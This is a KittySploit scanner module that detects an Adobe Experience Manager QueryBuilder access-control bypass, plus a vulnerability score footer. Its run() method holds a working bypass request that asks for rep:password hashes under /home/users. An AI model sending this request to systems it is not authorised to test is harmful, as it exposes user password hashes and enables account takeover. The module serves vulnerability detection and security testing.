AEM QueryBuilder JSON Exposure - Bypass Detection
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Adobe Experience Manager QueryBuilder endpoint allows unauthenticated attackers to extract sensitive user repo."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'AEM QueryBuilder JSON Exposure - Bypass Detection',
'description': 'Adobe Experience Manager QueryBuilder endpoint allows unauthenticated attackers to extract sensitive user repository data, including password hashes from the rep:password field in /home/users. This vulnerability bypasses access controls and exposes bcrypt/SHA-256 password hashes through the querybuilder.json API, enabling potential credential compromise and account takeover attacks.',
'author': ['KittySploit Team'],
'severity': 'critical',
'tags': ['web', 'scanner', 'aem', 'adobe', 'exposure', 'querybuilder'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.4,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'risk_signal',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://experienceleague.adobe.com/docs/experience-manager-65/developing/platform/query-builder/querybuilder-api.html',
'https://slcyber.io/assetnote-security-research-center/finding-critical-bugs-in-adobe-experience-manager/',
'https://github.com/assetnote/hopgoblin',
],
}
def run(self):
path = "/bin/querybuilder.json;x='x/graphql/execute/json/x'?path=%2Fhome%2Fusers&type=rep%3AUser&p.hits=selective&p.properties=rep%3Apassword&p.limit=3"
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
body_all = ('"rep:password"', '"success":true', '"results":', '"hits":',)
if all(m in body for m in body_all):
self.set_info(severity='critical', reason='AEM QueryBuilder JSON Exposure - Bypass detected', path=path)
return True
return False
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28 Jul 2026 11:27Current
5.9Medium risk
Vulners AI Score5.9